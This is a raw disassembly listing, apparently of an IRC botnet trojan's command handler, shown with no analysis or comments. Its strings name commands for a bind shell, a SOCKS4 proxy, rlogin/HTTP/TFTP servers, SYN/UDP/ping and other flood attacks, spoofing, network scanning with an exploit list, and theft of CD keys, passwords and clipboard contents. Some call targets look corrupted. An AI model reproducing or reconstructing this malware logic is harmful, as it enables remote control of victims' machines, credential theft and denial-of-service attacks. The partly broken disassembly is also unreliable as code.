offset asc_42CA2C ; " " push eax call sub_41C0F4 add esp, 20h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+arg_10], 1Fh loc_40294A: ; CODE XREF: sub_401ACD+E92j push offset asc_42CA2C ; " " push ebx call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40294A mov ecx, [ebp+esi+var_90] lea eax, [ebp+esi+var_90] cmp ecx, ebx jz loc_401E94 add ecx, 3 mov [eax], ecx loc_40297C: ; CODE XREF: sub_401ACD+CB8j mov edi, [ebp+esi+var_90] push edi push offset aRndnick ; "rndnick" mov [ebp+arg_8], edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409802 push edi push offset aRn ; "rn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409802 push edi push offset aDie ; "die" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4049FC push edi push offset aD ; "d" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4049FC push edi push offset aLogout ; "logout" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404954 push edi push offset aLo ; "lo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404954 push edi push offset aVersion ; "version" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404945 push edi push offset aVer ; "ver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404945 push edi push offset aDedication ; "dedication" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40493B push edi push offset aDed ; "ded" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40493B push edi push offset aSpeedtest ; "speedtest" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404922 push edi push offset aSt ; "st" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404922 push edi push offset aSecure ; "secure" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aSec ; "sec" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aUnsecure ; "unsecure" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aUnsec ; "unsec" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aBindshell ; "bindshell" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40471E push edi push offset aBd ; "bd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40471E push edi push offset aBindshellstop ; "bindshellstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402B40 push [ebp+esi+var_8C] push 6 push offset aServer_0 ; "Server" push offset dword_42C66C loc_402B24: ; CODE XREF: sub_401ACD+10C1j ; sub_401ACD+10E7j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B384 add esp, 20h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402B40: ; CODE XREF: sub_401ACD+1042j push edi push offset aSocks4 ; "socks4" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045FC push edi push offset aS4 ; "s4" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045FC push edi push offset aSocks4stop ; "socks4stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402B90 push [ebp+esi+var_8C] push 19h push offset aServer_0 ; "Server" push offset dword_42C644 jmp short loc_402B24 ; --------------------------------------------------------------------------- loc_402B90: ; CODE XREF: sub_401ACD+10ACj push edi push offset aRloginstop ; "rloginstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402BB9 push [ebp+esi+var_8C] push 9 push offset aServer_0 ; "Server" push offset dword_42C628 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402BB9: ; CODE XREF: sub_401ACD+10D2j push edi push offset aHttpstop ; "httpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402BE2 push [ebp+esi+var_8C] push 3 push offset aServer_0 ; "Server" push offset dword_42C60C jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402BE2: ; CODE XREF: sub_401ACD+10FBj push edi push offset aLogstop ; "logstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C0B push [ebp+esi+var_8C] push 25h push offset dword_42C5F8 push offset dword_42C5EC jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C0B: ; CODE XREF: sub_401ACD+1124j push edi push offset aRedirectstop ; "redirectstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C34 push [ebp+esi+var_8C] push 18h push offset dword_42C5CC push offset dword_42C5BC jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C34: ; CODE XREF: sub_401ACD+114Dj push edi push offset dword_42C5B0 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C5D push [ebp+esi+var_8C] push 0Dh push offset dword_42C5A4 push offset dword_42C598 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C5D: ; CODE XREF: sub_401ACD+1176j push edi push offset aSynstop ; "synstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C86 push [ebp+esi+var_8C] push 0Eh push offset dword_42C584 push offset dword_42C578 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C86: ; CODE XREF: sub_401ACD+119Fj push edi push offset aSkysynstop ; "skysynstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402CAF push [ebp+esi+var_8C] push 10h push offset dword_42C55C push offset dword_42C54C jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402CAF: ; CODE XREF: sub_401ACD+11C8j push edi push offset aTarga3stop ; "targa3stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402CD8 push [ebp+esi+var_8C] push 11h push offset dword_42C530 push offset dword_42C520 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402CD8: ; CODE XREF: sub_401ACD+11F1j push edi push offset aWonkstop ; "wonkstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402D01 push [ebp+esi+var_8C] push 12h push offset dword_42C508 push offset dword_42C4FC jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402D01: ; CODE XREF: sub_401ACD+121Aj push edi push offset aPacketstop ; "packetstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_402E57 mov esi, [ebp+esi+var_8C] mov edi, [ebp+arg_4] push esi push 0Dh push offset dword_42C5A4 push offset dword_42C598 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 0Eh push offset dword_42C584 push offset dword_42C578 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 17h push offset dword_42C4E4 push offset dword_42C4D8 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 16h push offset dword_42C4CC push offset dword_42C4C0 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 11h push offset dword_42C530 push offset dword_42C520 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 12h push offset dword_42C508 push offset dword_42C4FC push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 0Fh push offset dword_42C4B0 push offset dword_42C4A0 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 13h push offset dword_42C490 push offset dword_42C480 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 10h push offset dword_42C55C push offset dword_42C54C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push ebx push [ebp+var_4] push offset unk_42C44C push [ebp+var_88] push edi call sub_409A72 add esp, 34h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402E57: ; CODE XREF: sub_401ACD+1243j push edi push offset aTsunamistop ; "tsunamistop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402E80 push [ebp+esi+var_8C] push 0Fh push offset dword_42C4B0 push offset dword_42C4A0 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402E80: ; CODE XREF: sub_401ACD+1399j push edi push offset aWisdomstop ; "wisdomstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402EA9 push [ebp+esi+var_8C] push 13h push offset dword_42C490 push offset dword_42C480 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402EA9: ; CODE XREF: sub_401ACD+13C2j push edi push offset aUdpstop ; "udpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402ED2 push [ebp+esi+var_8C] push 17h push offset dword_42C4E4 push offset dword_42C4D8 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402ED2: ; CODE XREF: sub_401ACD+13EBj push edi push offset aPingstop ; "pingstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402EFB push [ebp+esi+var_8C] push 16h push offset dword_42C4CC push offset dword_42C4C0 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402EFB: ; CODE XREF: sub_401ACD+1414j push edi push offset aTftpstop ; "tftpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402F24 push [ebp+esi+var_8C] push 5 push offset aServer_0 ; "Server" push offset dword_42C404 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402F24: ; CODE XREF: sub_401ACD+143Dj push edi push offset aFindfilestop ; "findfilestop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045E4 push edi push offset aFfstop ; "ffstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045E4 push edi push offset aProcsstop ; "procsstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045CC push edi push offset aPsstop ; "psstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045CC push edi push offset aClonestop ; "clonestop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FA1 push [ebp+esi+var_8C] push 1Fh push offset aClone ; "Clone" push offset dword_42C3B4 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FA1: ; CODE XREF: sub_401ACD+14BAj push edi push offset aSecurestop ; "securestop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FCA push [ebp+esi+var_8C] push 22h push offset aSecure_0 ; "Secure" push offset dword_42C390 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FCA: ; CODE XREF: sub_401ACD+14E3j push edi push offset aScanstop ; "scanstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FF3 push [ebp+esi+var_8C] push 0Bh push offset aScan_0 ; "Scan" push offset dword_42C370 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FF3: ; CODE XREF: sub_401ACD+150Cj push edi push offset aScanstats ; "scanstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045B6 push edi push offset aStats ; "stats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045B6 push edi push offset aTransferstats ; "transferstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045A0 push edi push offset aTrstats ; "trstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045A0 push edi push offset aConnectbacksta ; "connectbackstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40458A push edi push offset aCbstats ; "cbstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40458A push edi push offset aExploitlist ; "exploitlist" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404574 push edi push offset aExplist ; "explist" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404574 push edi push offset aReconnect ; "reconnect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404555 push edi push offset aR ; "r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404555 push edi push offset aDisconnect ; "disconnect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404533 push edi push offset aDc ; "dc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404533 push edi push offset aQuit_0 ; "quit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044EB push edi push offset aQ ; "q" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044EB push edi push offset aStatus ; "status" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044D7 push edi push offset aS_0 ; "s" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044D7 push edi push offset aId ; "id" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044A0 push edi push offset aI ; "i" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044A0 push edi push offset aReboot ; "reboot" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4031BF call sub_418337 test eax, eax mov eax, offset unk_42C2AC jnz short loc_403191 mov eax, offset unk_42C284 loc_403191: ; CODE XREF: sub_401ACD+16BDj push eax lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 1Ch jmp loc_4083BC ; --------------------------------------------------------------------------- loc_4031BF: ; CODE XREF: sub_401ACD+16AFj push edi push offset aThreads ; "threads" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4043C1 push edi push offset aT ; "t" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4043C1 push edi push offset aAliases ; "aliases" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40439E push edi push offset aAl ; "al" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40439E push edi push offset aLog ; "log" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4042AB push edi push offset aLg ; "lg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4042AB push edi push offset aClearlog ; "clearlog" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404292 push edi push offset aClg ; "clg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404292 push edi push offset aNetinfo ; "netinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404258 push edi push offset aNi ; "ni" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404258 push edi push offset aSysinfo ; "sysinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40422D push edi push offset aSi ; "si" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40422D push edi push offset aLsp100 ; "lsp100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4041F3 push edi push offset aLsp100 ; "lsp100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4041F3 push edi push offset aProcs ; "procs" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040D0 push edi push offset aPs ; "ps" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040D0 push edi push offset aGetcdkeys ; "getcdkeys" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040B2 push edi push offset aKey ; "key" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040B2 push edi push offset aUptime ; "uptime" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40402A push edi push offset aUp ; "up" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40402A push edi push offset aDriveinfo ; "driveinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40400D push edi push offset aDrv ; "drv" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40400D push edi push offset aTestdlls ; "testdlls" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FF4 push edi push offset aDll ; "dll" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FF4 push edi push offset aOpencmd ; "opencmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FB5 push edi push offset aOcmd ; "ocmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FB5 push edi push offset aCmdstop ; "cmdstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40340A push [ebp+esi+var_8C] push 0Ah push offset dword_42C1C4 push offset dword_42C1B8 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_40340A: ; CODE XREF: sub_401ACD+1923j push edi push offset dword_42C1B4 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_403527 cmp [ebp+var_8], ebx jnz short loc_40343E push ebx push [ebp+var_4] push offset dword_42C1A0 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_40343E: ; CODE XREF: sub_401ACD+1955j mov eax, [ebp+arg_18] mov [ebp+arg_20], ebx mov [ebp+arg_18], eax jmp short loc_40344C ; --------------------------------------------------------------------------- loc_403449: ; CODE XREF: sub_401ACD+19CBj mov eax, [ebp+arg_18] loc_40344C: ; CODE XREF: sub_401ACD+197Aj cmp [eax], bl jz short loc_403453 inc eax jmp short loc_403458 ; --------------------------------------------------------------------------- loc_403453: ; CODE XREF: sub_401ACD+1981j mov eax, offset aEmpty ; "<Empty>" loc_403458: ; CODE XREF: sub_401ACD+1984j push eax lea eax, [ebp+var_2C4] push [ebp+arg_20] push offset aD_S ; "%d. %s" push eax call sub_41B886 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add [ebp+arg_18], 80h add esp, 24h inc [ebp+arg_20] cmp [ebp+arg_20], 3 jl short loc_403449 push offset unk_42C16C call sub_4151AC pop ecx loc_4034A5: ; CODE XREF: sub_401ACD+1C5Aj ; sub_401ACD+2F43j mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_10], eax jz loc_401E94 push edi push offset aSpoof ; "spoof" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404AF4 mov esi, [ebp+arg_10] push offset aOff ; "off" push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404A22 lea eax, [ebp+var_2C4] push offset unk_42C138 push eax mov dword_4CE728, ebx call sub_41B886 pop ecx pop ecx loc_4034FD: ; CODE XREF: sub_401ACD+3022j cmp [ebp+var_8], ebx jnz loc_409854 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 loc_40351F: ; CODE XREF: sub_401ACD+7118j add esp, 14h jmp loc_409854 ; --------------------------------------------------------------------------- loc_403527: ; CODE XREF: sub_401ACD+194Cj push edi push offset aGetclip ; "getclip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F74 push edi push offset aGc ; "gc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F74 push edi push offset aFlusharp ; "flusharp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F5D push edi push offset aFarp ; "farp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F5D push edi push offset aFlushdns ; "flushdns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F25 push edi push offset aFdns ; "fdns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F25 push edi push offset aCurrentip ; "currentip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403EEB push edi push offset aCip ; "cip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403EEB push edi push offset aRloginserver ; "rloginserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403DB0 push edi push offset aRlogin ; "rlogin" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403DB0 push edi push offset aHttpserver ; "httpserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403C24 push edi push offset aHttp ; "http" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403C24 push edi push offset aTftpserver ; "tftpserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403AEA push edi push offset aTftp ; "tftp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403AEA push edi push offset aCrash ; "crash" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4036B3 lea eax, [ebp+var_2C4] push offset dword_42C090 push eax call sub_41B886 cmp [ebp+var_8], ebx pop ecx pop ecx jnz short loc_403692 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403692: ; CODE XREF: sub_401ACD+1BA7j lea eax, [ebp+var_2C4] push eax call sub_4151AC mov [esp+10h+var_10], offset aCrash ; "crash" push [ebp+esi+var_7C] call sub_41C070 jmp loc_40207C ; --------------------------------------------------------------------------- loc_4036B3: ; CODE XREF: sub_401ACD+1B8Fj push edi push offset aAsc ; "asc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4037E6 push edi push offset aSa ; "sa" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4037E6 push edi push offset aPhonehome ; "phonehome" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_403707 lea eax, [ebp+var_C4] push eax push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n" push [ebp+arg_4] call sub_409A2C jmp loc_401F52 ; --------------------------------------------------------------------------- loc_403707: ; CODE XREF: sub_401ACD+1C1Fj push edi push offset aFindpass ; "findpass" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40372D push edi push offset aFp ; "fp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4034A5 loc_40372D: ; CODE XREF: sub_401ACD+1C49j push [ebp+var_88] lea eax, [ebp+var_F54] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_F58], eax mov eax, [ebp+var_4] mov [ebp+var_ED0], eax mov eax, [ebp+var_8] mov [ebp+var_ECC], eax push offset unk_42C020 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 26h push eax call sub_40B0F6 add esp, 18h mov [ebp+var_ED4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_F58] push ebx push eax push offset sub_416F1A push ebx push ebx call near ptr 2690088h nop mov ecx, [ebp+var_ED4] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4037D5 loc_4037BF: ; CODE XREF: sub_401ACD+1D06j cmp [ebp+var_EC8], ebx jnz loc_4083BC push 32h call near ptr 2690000h nop jmp short loc_4037BF ; --------------------------------------------------------------------------- loc_4037D5: ; CODE XREF: sub_401ACD+1CF0j nop call near ptr 26908FFh push eax push offset unk_42BFE4 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_4037E6: ; CODE XREF: sub_401ACD+1BF5j ; sub_401ACD+1C0Aj mov al, byte_4315EA mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_4315EA jz loc_401E94 mov ecx, edx loc_4037FD: ; CODE XREF: sub_401ACD+1D38j inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_4037FD cmp al, bl jz loc_401E94 mov [ebp+arg_18], edx mov esi, offset aF ; "#f" loc_403817: ; CODE XREF: sub_401ACD+2008j push 0Bh call sub_40B33E pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 1F4h jle short loc_403866 push ecx lea eax, [ebp+var_2C4] push offset unk_42BFA4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h jmp loc_403ACC ; --------------------------------------------------------------------------- loc_403866: ; CODE XREF: sub_401ACD+1D64j or [ebp+var_730], 0FFFFFFFFh cmp dword_431408, ebx mov [ebp+var_734], 64h mov [ebp+var_748], 5 mov [ebp+var_744], 320h mov [ebp+arg_0], ebx jz short loc_4038D7 mov edi, offset dword_431408 loc_40389B: ; CODE XREF: sub_401ACD+1DECj mov eax, [ebp+arg_18] add eax, 0FFFFFFF6h push eax lea eax, [edi-28h] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4038BD inc [ebp+arg_0] add edi, 40h cmp [edi], ebx jnz short loc_40389B jmp short loc_4038D7 ; --------------------------------------------------------------------------- loc_4038BD: ; CODE XREF: sub_401ACD+1DE2j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_730], eax shl ecx, 6 mov ecx, dword_431408[ecx] mov [ebp+var_74C], ecx loc_4038D7: ; CODE XREF: sub_401ACD+1DC7j ; sub_401ACD+1DEEj cmp [ebp+var_74C], ebx jz loc_403AE0 push 10h lea eax, [ebp+var_2D4] pop edi push eax lea eax, [ebp+var_30C] push eax mov [ebp+var_2D4], edi push [ebp+arg_4] call dword_4CAF18 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_308], eax push [ebp+var_308] call dword_4CB000 push eax lea eax, [ebp+var_860] push eax call sub_41B5F0 xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_860] push eax call sub_41BE40 add esp, 14h cmp edi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_40397F loc_40395D: ; CODE XREF: sub_401ACD+1EB0j cmp eax, ebx jz short loc_40397F mov byte ptr [eax], 78h lea eax, [ebp+var_860] push 30h push eax call sub_41BE40 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_40395D loc_40397F: ; CODE XREF: sub_401ACD+1E8Ej ; sub_401ACD+1E92j mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_750], eax mov eax, [ebp+var_4] mov [ebp+var_728], eax mov eax, [ebp+var_8] mov [ebp+var_724], eax mov edi, 80h lea eax, [ebp+var_850] push edi push eax mov [ebp+var_720], 1 call sub_41B980 push offset dword_43D128 push esi call sub_41C070 add esp, 14h test eax, eax jz short loc_4039E1 push esi lea eax, [ebp+var_7D0] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_4039E7 ; --------------------------------------------------------------------------- loc_4039E1: ; CODE XREF: sub_401ACD+1EFFj mov [ebp+var_7D0], bl loc_4039E7: ; CODE XREF: sub_401ACD+1F12j cmp [ebp+var_720], ebx mov eax, offset aRandom ; "Random" jnz short loc_4039F9 mov eax, offset aSequential ; "Sequential" loc_4039F9: ; CODE XREF: sub_401ACD+1F25j push [ebp+var_734] lea ecx, [ebp+var_860] push [ebp+var_744] push [ebp+var_748] push [ebp+var_74C] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BF24 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_740], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_860] push ebx push eax push offset loc_40C33C push ebx push ebx call near ptr 2690088h nop mov ecx, [ebp+var_740] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_403A83 loc_403A71: ; CODE XREF: sub_401ACD+1FB4j cmp [ebp+var_71C], ebx jnz short loc_403A9E push 32h nop call near ptr 2690000h jmp short loc_403A71 ; --------------------------------------------------------------------------- loc_403A83: ; CODE XREF: sub_401ACD+1FA2j nop call near ptr 26908FFh push eax lea eax, [ebp+var_2C4] push offset unk_42BEE8 push eax call sub_41B886 add esp, 0Ch loc_403A9E: ; CODE XREF: sub_401ACD+1FAAj cmp [ebp+var_8], ebx jnz short loc_403ABF push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403ABF: ; CODE XREF: sub_401ACD+1FD4j lea eax, [ebp+var_2C4] push eax call sub_4151AC pop ecx loc_403ACC: ; CODE XREF: sub_401ACD+1D94j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_403817 jmp loc_401E94 ; --------------------------------------------------------------------------- loc_403AE0: ; CODE XREF: sub_401ACD+1E10j push offset unk_42BEB0 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_403AEA: ; CODE XREF: sub_401ACD+1B65j ; sub_401ACD+1B7Aj push 5 call sub_40B33E test eax, eax pop ecx jle short loc_403B00 push offset unk_42BE90 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_403B00: ; CODE XREF: sub_401ACD+2027j mov eax, [ebp+esi+var_8C] cmp eax, ebx jz short loc_403B23 push eax mov edi, 104h lea eax, [ebp+var_2D50] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_403B37 ; --------------------------------------------------------------------------- loc_403B23: ; CODE XREF: sub_401ACD+203Cj mov edi, 104h lea eax, [ebp+var_2D50] push edi push eax push ebx nop call near ptr 2680000h loc_403B37: ; CODE XREF: sub_401ACD+2054j mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_403B47 mov esi, offset byte_429108 loc_403B47: ; CODE XREF: sub_401ACD+2073j push esi lea eax, [ebp+var_2C4C] push edi push eax call sub_41B980 mov eax, dword_429078 push 7Fh push [ebp+var_88] mov [ebp+var_2B40], eax mov eax, [ebp+arg_4] mov [ebp+var_2B44], ebx mov [ebp+var_2D54], eax lea eax, [ebp+var_2B3C] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_2ABC], eax mov eax, [ebp+var_8] mov [ebp+var_2AB8], eax lea eax, [ebp+var_2D50] push eax lea eax, [ebp+var_2C4] push [ebp+var_2B40] push offset unk_42BE5C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 5 push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2B48], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2D54] push ebx push eax push offset word_411796 push ebx push ebx nop call near ptr 2690088h mov ecx, [ebp+var_2B48] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_403C13 loc_403BFD: ; CODE XREF: sub_401ACD+2144j cmp [ebp+var_2AB4], ebx jnz loc_40828B push 32h nop call near ptr 2690000h jmp short loc_403BFD ; --------------------------------------------------------------------------- loc_403C13: ; CODE XREF: sub_401ACD+212Ej nop call near ptr 26908FFh push eax push offset unk_42BE20 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_403C24: ; CODE XREF: sub_401ACD+1B3Bj ; sub_401ACD+1B50j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403C43 push edi call sub_41B779 test eax, eax pop ecx jz short loc_403C43 